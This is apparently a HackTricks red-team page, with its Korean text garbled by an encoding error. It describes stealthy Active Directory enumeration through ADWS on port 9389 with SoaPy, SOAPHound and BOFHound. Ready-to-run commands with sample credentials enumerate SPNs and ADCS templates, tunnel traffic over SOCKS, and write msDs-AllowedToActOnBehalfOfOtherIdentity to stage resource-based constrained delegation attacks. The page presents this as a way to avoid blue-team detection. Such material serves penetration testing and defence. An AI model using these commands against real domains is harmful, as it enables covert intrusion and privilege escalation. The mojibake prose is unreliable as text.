Active Directory Web Services (ADWS) ์ด๊ฑฐ ๋ฐ ์๋ฐ ์์ง
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
ADWS๋?
Active Directory Web Services (ADWS)๋ Windows Server 2008 R2 ์ดํ ๋ชจ๋ Domain Controller์์ ๊ธฐ๋ณธ์ ์ผ๋ก ํ์ฑํ๋์ด ์์ผ๋ฉฐ TCP 9389๋ฅผ ๋ฆฌ์จํฉ๋๋ค. ์ด๋ฆ๊ณผ ๋ฌ๋ฆฌ, HTTP๋ ์ ํ ๊ด์ฌํ์ง ์์ต๋๋ค. ๋์ ์ด ์๋น์ค๋ LDAP ์คํ์ผ ๋ฐ์ดํฐ๋ฅผ ๋ ์ ์ ์ธ .NET ํ๋ ์ด๋ฐ ํ๋กํ ์ฝ ์คํ์ ํตํด ๋ ธ์ถํฉ๋๋ค:
- MC-NBFX โ MC-NBFSE โ MS-NNS โ MC-NMF
ํธ๋ํฝ์ด ์ด ๋ฐ์ด๋๋ฆฌ SOAP ํ๋ ์๋ค ์์ ์บก์ํ๋๊ณ ํ์น ์์ ํฌํธ๋ฅผ ์ฌ์ฉํ๊ธฐ ๋๋ฌธ์, ADWS๋ฅผ ํตํ ์ด๊ฑฐ๋ ์ ํต์ ์ธ LDAP/389 & 636 ํธ๋ํฝ๋ณด๋ค ๊ฒ์ฌ, ํํฐ๋ง, ์๊ทธ๋์ฒ ํ์ง์ ๋์์ด ๋ ๊ฐ๋ฅ์ฑ์ด ํจ์ฌ ๋ฎ์ต๋๋ค. ์ด์์ ๊ด์ ์์ ์ด๋ ๋ค์์ ์๋ฏธํฉ๋๋ค:
- ๋ณด๋ค ์๋ฐํ ์ ์ฐฐ โ Blue ํ์ ์ข ์ข LDAP ์ฟผ๋ฆฌ์ ์ง์คํฉ๋๋ค.
- SOCKS ํ๋ก์๋ฅผ ํตํด 9389/TCP๋ฅผ ํฐ๋๋งํ๋ฉด **non-Windows ํธ์คํธ(Linux, macOS)**์์๋ ์์ง ๊ฐ๋ฅ.
- LDAP์ ํตํด ์ป์ ์ ์๋ ๋์ผํ ๋ฐ์ดํฐ(์ฌ์ฉ์, ๊ทธ๋ฃน, ACL, ์คํค๋ง ๋ฑ)์ ์ฐ๊ธฐ ๋ฅ๋ ฅ(์: RBCD์ฉ
msDs-AllowedToActOnBehalfOfOtherIdentity)์ ๊ฐ์ง๋๋ค.
ADWS ์ํธ์์ฉ์ WS-Enumeration ์์์ ๊ตฌํ๋ฉ๋๋ค: ๋ชจ๋ ์ฟผ๋ฆฌ๋ LDAP ํํฐ/์์ฑ์ ์ ์ํ๋ Enumerate ๋ฉ์์ง๋ก ์์ํด EnumerationContext GUID๋ฅผ ๋ฐํํ๊ณ , ๊ทธ ๋ค์ ์๋ฒ๊ฐ ์ ์ํ ๊ฒฐ๊ณผ ์ฐฝ๊น์ง ์คํธ๋ฆฌ๋ฐํ๋ ํ๋ ์ด์์ Pull ๋ฉ์์ง๊ฐ ์ด์ด์ง๋๋ค. Context๋ ์ฝ 30๋ถ ํ ๋ง๋ฃ๋๋ฏ๋ก, ํด์ ๊ฒฐ๊ณผ๋ฅผ ํ์ด์งํํ๊ฑฐ๋ ์ํ ์์ค์ ํผํ๊ธฐ ์ํด ํํฐ๋ฅผ ๋ถํ (์: CN๋ณ ์ ๋์ฌ ์ฟผ๋ฆฌ)ํด์ผ ํฉ๋๋ค. ๋ณด์ ๊ธฐ์ ์๋ฅผ ์์ฒญํ ๋๋ SACL์ ์๋ตํ๋ ค๋ฉด LDAP_SERVER_SD_FLAGS_OID ์ปจํธ๋กค์ ์ง์ ํด์ผ ํฉ๋๋ค. ๊ทธ๋ ์ง ์์ผ๋ฉด ADWS๋ SOAP ์๋ต์์ ๋จ์ํ nTSecurityDescriptor ์์ฑ์ ์ ๊ฑฐํฉ๋๋ค.
์ฐธ๊ณ : ADWS๋ ๋ง์ RSAT GUI/PowerShell ๋๊ตฌ์์๋ ์ฌ์ฉ๋๋ฏ๋ก ํธ๋ํฝ์ด ํฉ๋ฒ์ ์ธ ๊ด๋ฆฌ์ ํ๋๊ณผ ์์ผ ์ ์์ต๋๋ค.
SoaPy โ ๋ค์ดํฐ๋ธ Python ํด๋ผ์ด์ธํธ
SoaPy๋ pure Python์ผ๋ก ADWS ํ๋กํ ์ฝ ์คํ์ ์์ ์ฌ๊ตฌํํ ๊ตฌํ์ฒด์ ๋๋ค. NBFX/NBFSE/NNS/NMF ํ๋ ์์ ๋ฐ์ดํธ ๋จ์๋ก ์์ฑํ์ฌ .NET ๋ฐํ์์ ์๋์ง ์๊ณ Unix ๊ณ์ด ์์คํ ์์ ์์งํ ์ ์์ต๋๋ค.
์ฃผ์ ๊ธฐ๋ฅ
- SOCKS๋ฅผ ํตํ ํ๋ก์ ์ง์ (C2 implants์์ ์ ์ฉ).
- LDAP
-q '(objectClass=user)'์ ๋์ผํ ์ธ๋ถํ๋ ๊ฒ์ ํํฐ. - ์ ํ์ ์ฐ๊ธฐ ์์
(
--set/--delete). - BloodHound๋ก ์ง์ ์ธ์ ์คํธํ๊ธฐ ์ํ BOFHound ์ถ๋ ฅ ๋ชจ๋.
- ์ฌ๋์ด ์ฝ๊ธฐ ์ข๊ฒ ๋ง๋ค๊ธฐ ์ํ
--parseํ๋๊ทธ(ํ์์คํฌํ /userAccountControl์ ๋ฆฌ).
๋์ ์์ง ํ๋๊ทธ ๋ฐ ์ฐ๊ธฐ ์์
SoaPy๋ ADWS ์์์ ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ LDAP ํํ
์์
์ ์ฌํํ๋ ์์ ๋ ์ค์์น๋ฅผ ์ ๊ณตํฉ๋๋ค: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds ๋ฐ ์ปค์คํ
ํ์ ์ํ ๋ก์ฐ --query / --filter ์ต์
. ์ด๋ฅผ --rbcd <source>( msDs-AllowedToActOnBehalfOfOtherIdentity ์ค์ ), --spn <service/cn>(๋์ Kerberoasting์ ์ํ SPN ์คํ
์ด์ง), --asrep(userAccountControl์์ DONT_REQ_PREAUTH ํ๋ฆฝ) ๊ฐ์ ์ฐ๊ธฐ ํ๋ฆฌ๋ฏธํฐ๋ธ์ ์ง์ง์ด ์ฌ์ฉํ์ธ์.
๋ค์์ samAccountName๊ณผ servicePrincipalName๋ง ๋ฐํํ๋ ๋์ SPN ๊ฒ์ ์์:
soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse
๊ฐ์ ํธ์คํธ/์๊ฒฉ์ฆ๋ช
์ ์ฌ์ฉํด ๋ฐ๊ฒฌ๋ฌผ์ ์ฆ์ weaponiseํ์ธ์: --rbcds๋ก RBCD-capable objects๋ฅผ dumpํ ๋ค์ --rbcd 'WEBSRV01$' --account 'FILE01$'๋ฅผ applyํ์ฌ Resource-Based Constrained Delegation chain์ stageํ์ธ์ (์ ์ฒด ์
์ฉ ๊ฒฝ๋ก๋ Resource-Based Constrained Delegation ์ฐธ์กฐ).
์ค์น (์ด์์ ํธ์คํธ)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
SOAPHound โ ๋๊ท๋ชจ ADWS ์์ง (Windows)
FalconForce SOAPHound๋ .NET ์์ง๊ธฐ๋ก, ๋ชจ๋ LDAP ์ํธ์์ฉ์ ADWS ๋ด๋ถ์ ์ ์งํ๊ณ BloodHound v4-compatible JSON์ ์ถ๋ ฅํฉ๋๋ค. ํ ๋ฒ (--buildcache) objectSid, objectGUID, distinguishedName ๋ฐ objectClass์ ์ ์ฒด ์บ์๋ฅผ ์์ฑํ ๋ค์, ์ด๋ฅผ ๊ณ ์ฉ๋ --bhdump, --certdump (ADCS), ๋๋ --dnsdump (AD-integrated DNS) ์์
์ ์ฌ์ฌ์ฉํ์ฌ DC์์ ๋๊ฐ๋ ์์ฑ์ ์ฝ 35๊ฐ์ ํต์ฌ ์์ฑ์ผ๋ก๋ง ์ ํ๋ฉ๋๋ค. AutoSplit (--autosplit --threshold <N>)์ CN ์ ๋์ฌ๋ณ๋ก ์ฟผ๋ฆฌ๋ฅผ ์๋์ผ๋ก ์ค๋ฉํ์ฌ ํฐ ํฌ๋ฆฌ์คํธ์์ 30๋ถ EnumerationContext ํ์์์์ ๋์ง ์๋๋ก ํฉ๋๋ค.
๋๋ฉ์ธ์ ์กฐ์ธ๋ operator VM์์์ ์ผ๋ฐ์ ์ธ ์ํฌํ๋ก:
# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json
# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output
# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot
๋ด๋ณด๋ธ JSON์ SharpHound/BloodHound ์ํฌํ๋ก์ฐ๋ก ์ง์ ๋ฃ์ ์ ์์ต๋๋คโํ๋ฅ ๊ทธ๋ํ ์์ด๋์ด๋ BloodHound methodology๋ฅผ ์ฐธ๊ณ ํ์ธ์. AutoSplit์ SOAPHound๋ฅผ ์๋ฐฑ๋ง ๊ฐ์ฒด ํฌ๋ฆฌ์คํธ์์๋ ๊ฒฌ๊ณ ํ๊ฒ ๋ง๋ค๋ฉฐ ADExplorer-style ์ค๋ ์ท๋ณด๋ค ์ฟผ๋ฆฌ ์๋ฅผ ๋ ์ ๊ฒ ์ ์งํฉ๋๋ค.
์คํ ์ค AD ์์ง ์ํฌํ๋ก์ฐ
๋ค์ ์ํฌํ๋ก์ฐ๋ ADWS๋ฅผ ํตํด ๋๋ฉ์ธ & ADCS ๊ฐ์ฒด๋ฅผ ์ด๊ฑฐํ๊ณ , ์ด๋ฅผ BloodHound JSON์ผ๋ก ๋ณํํ์ฌ ์ธ์ฆ์ ๊ธฐ๋ฐ ๊ณต๊ฒฉ ๊ฒฝ๋ก๋ฅผ ํ์ํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค โ ๋ชจ๋ Linux์์ ์ํ๋ฉ๋๋ค:
-
ํ๊ฒ ๋คํธ์ํฌ์์ ์์ ์ ๋จธ์ ์ผ๋ก 9389/TCP๋ฅผ ํฐ๋๋ง (์: Chisel, Meterpreter, SSH ๋์ ํฌํธ ํฌ์๋ฉ ๋ฑ). ํ๊ฒฝ ๋ณ์
export HTTPS_PROXY=socks5://127.0.0.1:1080๋ฅผ ์ค์ ํ๊ฑฐ๋ SoaPy์--proxyHost/--proxyPort๋ฅผ ์ฌ์ฉํ์ธ์. -
๋ฃจํธ ๋๋ฉ์ธ ๊ฐ์ฒด ์์ง:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Configuration NC์์ ADCS ๊ด๋ จ ๊ฐ์ฒด ์์ง:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- BloodHound๋ก ๋ณํ:
bofhound -i data --zip # produces BloodHound.zip
- ZIP ํ์ผ ์
๋ก๋๋ฅผ BloodHound GUI์์ ์ํํ๊ณ
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c๊ฐ์ cypher ์ฟผ๋ฆฌ๋ฅผ ์คํํ์ฌ ์ธ์ฆ์ ๊ถํ ์์น ๊ฒฝ๋ก(ESC1, ESC8 ๋ฑ)๋ฅผ ํ์ธํฉ๋๋ค.
์ฐ๊ธฐ msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
์ด๊ฒ์ s4u2proxy/Rubeus /getticket์ ๊ฒฐํฉํ์ฌ ์ ์ฒด Resource-Based Constrained Delegation ์ฒด์ธ์ ๊ตฌ์ฑํ์ธ์ (์์ธํ ๋ด์ฉ์ Resource-Based Constrained Delegation ์ฐธ์กฐ).
๋๊ตฌ ์์ฝ
| ๋ชฉ์ | ๋๊ตฌ | ๋น๊ณ |
|---|---|---|
| ADWS enumeration | SoaPy | Python, SOCKS, read/write |
| High-volume ADWS dump | SOAPHound | .NET, cache-first, BH/ADCS/DNS modes |
| BloodHound ingest | BOFHound | Converts SoaPy/ldapsearch logs |
| Cert compromise | Certipy | Can be proxied through same SOCKS |
์ฐธ์กฐ
- SpecterOps โ Make Sure to Use SOAP(y) โ An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft โ MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
- IBM X-Force Red โ Stealthy Enumeration of Active Directory Environments Through ADWS
- FalconForce โ SOAPHound tool to collect Active Directory data via ADWS
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


